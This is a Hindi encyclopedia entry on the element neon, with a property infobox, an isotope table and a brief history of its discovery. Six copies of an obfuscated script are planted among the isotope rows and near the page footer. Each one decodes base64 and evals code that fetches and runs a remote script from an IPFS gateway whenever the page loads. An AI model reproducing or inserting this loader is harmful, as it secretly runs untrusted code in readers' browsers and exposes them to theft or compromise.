निऑन

भारत डिस्कवरी प्रस्तुति
(नियोन से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें
निऑन
रंगहीन गैस को जब उच्च वोल्टेज बिजली के क्षेत्र में रखा जाता है तो एक नारंगी लाल चमक का प्रदर्शन होता है।

Neon-Spectra.jpg
निऑन की वर्णक्रम रेखाएँ
साधारण गुणधर्म
नाम, प्रतीक, संख्या निऑन, Ne, 10
हिन्दी नाम शिथिराति
तत्व श्रेणी अक्रिय गैस
समूह, आवर्त, कक्षा 18, 2, p
मानक परमाणु भार 20.1797g·mol−1
इलेक्ट्रॉन विन्यास 1s2 2s2 2p6
इलेक्ट्रॉन प्रति शेल 2, 8
भौतिक गुणधर्म
अवस्था गैस
घनत्व (0 °C, 101.325 kPa)
0.9002 g/L
तरल घनत्व (गलनांक पर) 1.207 g·cm−3
गलनांक 24.56 K, -248.59 °C, -415.46 °F
क्वथनांक 27.07 K, -246.08 °C, -410.94 °F
त्रिगुण बिंदु 24.5561 K (-249°C), 43 kPa
संकट बिंदु 44.4 K, 2.76 MPa
संलयन ऊष्मा 0.335 किलो जूल-मोल
वाष्पन ऊष्मा 1.71 किलो जूल-मोल
विशिष्ट ऊष्मीय
क्षमता
5R/2 = 20.786

जूल-मोल−1किलो−1

वाष्प दाब
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 12 13 15 18 21 27
परमाण्विक गुणधर्म
आयनीकरण ऊर्जाएँ
(अधिक)
1st: 2080.7 कि.जूल•मोल−1
2nd: 3952.3 कि.जूल•मोल−1
3rd: 6122 कि.जूल•मोल−1
सहसंयोजक त्रिज्या 58 pm
वैन्डैर वाल्स त्रिज्या 154 pm
विविध गुणधर्म
चुम्बकीय क्रम प्रतिचुम्बकीय
ऊष्मीय चालकता (300 K) 49.1x10-3  W·m−1·K−1
ध्वनि की गति (gas, 0 °C) 435 m/s
स्थूल मापांक 654 GPa
सी.ए.एस पंजीकरण
संख्या
7440-01-9
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा
(MeV)
क्षरण उत्पाद
20Ne 90.48% 20Ne 10 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

21Ne 0.27% 21Ne 11 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

22Ne 9.25% 22Ne 12 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

निऑन (अंग्रेज़ी:Neon) एक रासायनिक तत्त्व है जिसका संकेत Ne, परमाणु भार 20.18, परमाणु संख्या 10 होती है। इसके स्थायी समस्थानिक की द्रव्यमान संख्या 20, 21 और 22 है। रेडियोधर्मी समस्थानिक की द्रव्यमान संख्या 19 और 23 है।

  • निऑन आवर्त सारणी के शून्य समूह के हीलियम समूह का दूसरा सदस्य है। इस समूह के अन्य सदस्य आर्गन, क्रिप्टन, ज़ेनॉन और रेडन हैं।
  • यह वायुमंडल में गैस के रूप में बड़ी अल्प मात्रा (0.0018 प्रतिशत) में रहता है।
  • भूगर्भ स्थित गैसों में भी यह पाया जाता है। निऑन का औद्योगिक उत्पादन द्रव वायु के प्रभाजक आसवन से होता है।
  • क्लॉड वायुद्रावी में, जिसमें प्रति घंटा 50 घन मीटर द्रव वायु तैयार होती है, प्रति दिन 100 लीटर निऑफन प्राप्त हो सकता है।
  • रैमज़े और टैवर्स ने 1898 ई. में इस गैस का आविष्कार किया था और वायु से इसे प्राप्त किया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>